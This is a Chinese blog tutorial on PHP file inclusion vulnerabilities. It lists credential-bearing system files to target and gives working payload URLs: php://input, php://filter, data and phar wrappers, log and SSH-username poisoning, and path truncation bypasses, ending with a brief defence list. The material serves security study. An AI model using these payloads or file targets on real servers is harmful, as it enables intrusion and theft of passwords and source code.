文件包含漏洞一览

最新推荐文章于 2024-05-06 19:00:00 发布
最新推荐文章于 2024-05-06 19:00:00 发布
阅读量473 收藏 2
点赞数
分类专栏： Web基础
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43271194/article/details/109566796
版权

文件包含

原因

  • 文件包含函数加载的参数没有经过过滤或者严格的定义，可以被用户控制，包含其他恶意文件，导致了执行了非预期的代码。
  • php的文件包含相关函数都是无论其参数的扩展名是什么，都会将其内 容作为php代码解析，这可能就会造成任意的php代码执行。 如果一个功能需要包含用户传来的参数时，且开发者又没有对用户的输入进行检测和过滤，那么就 很可能使攻击者利用该功能进行文件包含漏洞的攻击。

相关函数

引起该漏洞的通常是

  1. include()

    • include() 如果出错的话，只会提出警告，会继续执行后续语句。

  2. include_once()

  3. require()

    • reuqire() 如果在包含的过程中有错，比如文件不存在等，则会直接退出，不执行后续语句

  4. require_once()

  5. fopen()

  6. readfile()

    …

原理：当使用这几个函数包含文件时，不管文件是什么类型，都会作为PHP文件解析

场景

  • 具有相关的文件包含函数。

  • 文件包含函数中存在动态变量，比如 include $file;。

  • 攻击者能够控制该变量，比如$file = $_GET['file'];

分类

LFI 本地文件包含漏洞
  • 指的是能打开并包含本地文件的漏洞。
  • 由于服务器上的文件并不是攻击者所能够 控制的，因此该情况下，攻击着更多的会包含一些 固定的系统配置文件，从而读取系统敏 感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞，从而形成更大的威力。
RFI 远程文件包含漏洞

  • 指能够包含远程服务器上的文件并执行，能够通过url地址对远程的文件进行包含，这意味着攻击者可以传入任意的代码。

  • 条件 ：需要在php.ini中配置

    1. allow_url_fopen = On
    2. allow_url_include = On

常见敏感目录

  • Windows

    c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

  • Linux/Unix

    /etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

包含姿势

php伪协议
php.ini设置

  • 在php.ini里有两个重要的参数allow_url_fopen和allow_url_include

    • allow_url_fopen:默认值是ON，允许url里的封装协议访问文件

    • allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

php://input

php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。

注：当enctype=”multipart/form-data”时，php://input是无效的。

  • 利用条件：allow_url_include=On

  • 姿势：

    index.php
?file=php://input
POST:
<? phpinfo();?>

在这里插入图片描述

php://fiter

  • 用于任意文件读取，有时也可以用于getshell

  • 不需要开启allow_url_include

  • php://filter是一种元封装器，用于数据流打开时筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。

  • 参数

    名称描述
    resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
    read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称，以管道符(|)分隔
    write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称，以管道符(|)分隔
    <；两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

    • 用法

      php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx

    • filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。

      php://filter/convert.base64-[encode/decode]/resource=xxx

  • 姿势：

1. index.php?file=php://filter/read=convert.base64-encode/resource=index.php
2. index.php?file=php://filter/convert.base64-encode/resource=index.php

通过指定末尾的文件，可以读取经base64加密后的文件源码，之后再base64解码一下就行。虽然不能直接获取到shell等，但能读取敏感文件危害也是挺大的。

phar://

  • 条件：php版本>=php5.3.0

  • 姿势

    1. 建立个文件如phpinfo.txt，其内容为<?php phpinfo(); ?>，打包成zip压缩包

    2. 指定绝对路径

      index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
zip://（压缩）

  • 条件：php版本>=5.3.0

  • 姿势

    1. 构造 zip包的方法同phar

    2. 指定绝对路径，同事将#编码为%23，之后天上压缩包内的文件。

data:URL schema

  • 条件

    1. php版本大于等于5.2
    2. allow_url_fopen = On
    3. allow_url_include = On

  • 姿势

?file=data://text/plain;base64,base64编码的payload
(需要allow_url_include=On)

1. index.php?file=data:text/plain,<?php phpinfo();?>
2. index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b（base64编码<?php phpinfo();?>,%2b的编码+）
包含session
包含日志
常见路径
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/auth.log
/var/log/mail
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
访问日志

  • 条件：

    需要知道服务器日志的存储路径，且日志文件可读

  • 姿势：

    多数时候，服务器会将请求写入到日志文件中，例如apache。日志保存在路径/var/log/apache2中

    如果是直接发起请求，会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

SSH log

参考

  • 条件：

    知道ssh-log的位置，且可读。默认情况下为 /var/log/auth.log姿势

  1. 用SSH连接
  2. 在ssh-log写入代码
  • 姿势
    1. 用ssh连接
    2. 在ssh-log中写入代码

使用一句话作为用户名，连接

ssh <?php phpinfo();?>'@xxxxxxxxx'

在这里插入图片描述

包含environ

参考1

  • 条件
  1. php以cgi方式运行，这样environ才会保持UA头。
  2. environ文件存储位置已知，且environ文件可读。

  • 姿势

    proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码，则php代码会被写入到environ中。之后再包含它，

包含fd

参考

包含临时文件

在这里插入图片描述

  • php中上传文件，会创建临时文件。在linux下使用/tmp目录，而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前，利用竞争即可包含该临时文件。
  • 方法
    1. 知道包含的文件名，则可以暴力猜解
    2. 配合Phpinfo页面的Php variables，直接获取到上传文件的存储位置和临时文件名
包含上传文件
  • 条件：知道上传的文件在什么地方，什么名字
  • 姿势：配合上传漏洞

绕过姿势

指定前缀
目录遍历
  • 利用../可以目录遍历
<?php 
	$file = $_GET['file'];
	include '/var/www/'.$file;
?>
编码绕过
  • 当../被过滤后，试用一下其他编码
    1. URL编码
    2. 二次编码
    3. 服务器的编码方式
指定后缀
<?php 
	$file = $_GET['file'];
	include $file.'/test/test.php';
?>
  1. 利用query（加？）或者fragment（加#）
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
利用协议
  • zip和phar协议
00截断
  1. 长度截断Linux最大长度为4096，windows为256
  2. 0字节截断，php版本低于5.3.4
  3. magic_quotes_gpc=off
路径长度截断

/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)

点号截断

/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

防御方案

  1. php 配置open_basedir
  2. 做好文件权限
  3. 过滤危险字符
Amire0x
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
文件包含骚姿势——利用session.upload_progress进行文件包含
weixin_46330722的博客
12-25 1957
利用session.upload_progress进行文件包含
自己遇到的文件包含各种姿势总结
qq_45655564的博客
07-08 175
伪协议 php://input php://filter data:// 或者利用data协议的base64编码 phar:// index.php?file=phar://test.zip/phpinfo.txt zip:// 但使用zip协议，需要指定绝对路径，同时将#编码为%23，之后填上压缩包内的文件。 index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt 日志包含 User-Agent:<?php ev
文件包含漏洞的审计（审计思路）
gl620321的博客
08-11 214
一、文件包含漏洞的审计 考虑绕过，包含一个特殊的文件，构造一个压缩包 上传一个特殊文件 时间戳信息 几次尝试之后找到路径 用伪协议打开 伪图片的压缩包去读取内部的inc文件 回到网页去访问它 测试是否包含一句话脚本 成功的输出一句话脚本信息 如何去修复它，定义一个模块的信息 用array判断包含的信息 是否在这个里面，是的话就包含，不是的话就不包含 二、审计思路展现 ...
网络安全漏洞深度剖析
最新发布
qingkahui24689的博客
05-06 770
2021年7月13日，美国微软威胁情报中心发布安全公告[1]，文中指出黑客利用Serv-U 0day对极少数美国军工部门成功进行了攻击，同日Serv-U母公司solarwinds也发布安全公告[2]，并针对最新大版本发布了补丁[3]。（注意：目前发布的补丁只针对最新的15.2.3大版本，且只能是付费用户才能下载安装补丁，非付费用户目前无法从官方渠道获取有效补丁。根据补丁比较和fuzzer，宁静之盾安全团队成功复现了该远程溢出漏洞，并能在实战环境下成功利用。
文件包含的利用姿势
weixin_30335575的博客
04-12 153
http://thief.one/2017/04/10/2/ 转载于:https://www.cnblogs.com/esthermalley/p/6699131.html
文件包含利用方式(总结)
PANDA墨森的博客
07-13 4192
一、利用思路总结： 1、包含一些敏感的配置文件，获取目标敏感信息 2、配合图片马getshell 3、包含临时文件getshell 4、包含session文件getshell 5、包含日志文件getshell(Apach、SSH等等) 6、利用php伪协议进行攻击 二、具体利用方法： ①包含一些敏感的配置文件 windows常见的敏感文件路径: C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配.
受控文件一览表
12-30
这一款整理收录发布的受控文件一览表，可用于学习、参考、借鉴受控文件一览表相关内容，赶快来...该文档为受控文件一览表，是一份很不错的参考资料，具有较高参考价值，感兴趣的可以下载看看
文件和目录常用命令一览.xmind
12-16
内容主要为：文件和目录相关操作，分为十大类 1. 查看目录 2. 目录操作相关 3. 文件创建和删除 4. 拷贝和移动文件 5. 查看文件内容 6. 文件查找 7. 文件归档命令 8. 文件权限相关 9. vi 编辑器的使用 10. 其他内容...
受控文件一览表.xls
12-28
受控文件一览表
程序文件一览表.doc
02-14
程序文件一览表.doc
常用文件格式一览表.pdf
12-17
以下是一些在【标题】"常用文件格式一览表.pdf"中提及的常见文件格式及其详细说明： 1. **.exe** - 这是Windows操作系统中的可执行文件格式，包含了运行程序所需的代码和资源。 2. **.rar** 和 **.zip** - 这两种...
Catfish（鲶鱼）cms-带有越权漏洞的源码.zip
03-16
Catfish（鲶鱼）cms-带有越权漏洞的源码，亲测真实有效可靠，如有侵权，请联系CSDN管理员删除即可
【文件包含技巧拓展】————4、文件包含漏洞（下）
Fly_鹏程万里
01-30 425
之前已经总结了一次文件包含漏洞相关的知识点，最近一段时间做CTF又遇到了不少以前没见过的包含新姿势，这里在总结一下，以后看的时候方便一些。 phar LFI 0x01 什么是phar文件 phar是一个文件归档的包，类似于Java中的Jar文件，方便了PHP模块的迁移。 php中默认安装了这个模块。 0x02 创建一个phar文件 在创建phar文件的时候要注意phar.readonl...
【文件包含技巧拓展】————1、常见文件包含发生场景与防御
Fly_鹏程万里
01-30 1731
前言 PHP是一种非常流行的Web开发语言，互联网上的许多Web应用都是利用PHP开发的。而在利用PHP开发的Web应用中，PHP文件包含漏洞是一种常见的漏洞。利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细的分析，希望对大家攻击方法和防御上有帮助。如果内容有错误纰漏，请留言指正哦~ 一、 文件包含概念 1、 概念 "代码注入"...
PHP文件包含漏洞（利用phpinfo）
Li-D的博客
12-31 8468
漏洞描述 文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。 PHP中引发文件包含漏洞的通常是以下四个函数： 1、include()当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行。 2、include_once()功能和include()相同，区别在于当重复调用同一文件时，程序只调用一次。 3、require()只要程序一执行就
文件包含知识点总结
千寻的博客
02-10 691
文章目录第一章 概述第一节 说明第二节 漏洞产生的原因第二章 PHP中的文件包含第一节 语句第二节 相关配置第三节 文件包含示例第三章 漏洞原理及特点第一节 漏洞原理第二节 特点第三节 空字符安全绕过第四章 文件包含漏洞的利用第一节 读取敏感文件第二节 直接包含图片木马第三节 包含木马写Shell第四节 PHP 封装协议--访问本地文件第五节 PHP 封装协议--传输PHP 文件第六节 PHP ...
PHP文件包含漏洞利用思路与Bypass总结手册（三）
蚁景网安学院
05-06 489
绕过姿势我们平常很多时候碰到的情况肯定不会是简单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的。现在...
远程代码执行漏洞利用
Z_l123的博客
03-01 365
PHP下，允许命令执行的函数有 eval() assert() preg_replace() call_user_func() $a($b) eval() <?php if(isset($_GET['a'])){ eval($_GET['a']); } else{ echo "Please input a"; } ?> assert() <?php if(isset($_GET['a'])){ assert($_GET['a']); } else{ e
文件上传漏洞之——远程文件包含漏洞(RFI)
wsnbbz的博客
03-04 4527
定义 如果php.ini的配置选项allow_url_include为On的话，文件包含函数是可以加载远程文件的，这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞，可以直接执行任意命令 原理 同本地文件包含原理，只是参数可以换成一个远程的url地址，此时包含的文件不能为php文件，可写成txt或者图片马等等 文件包含的时候，无视文件格式，只要文件中有php代码，就会被执行 复现 dvwa lo...
docker 容器一览
02-29
1. Docker镜像（Docker Image）：Docker镜像是一个只读的模板，包含了运行应用程序所需的所有文件和依赖项。可以通过Docker镜像创建Docker容器。 2. Docker容器（Docker Container）：Docker容器是Docker镜像的运行...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值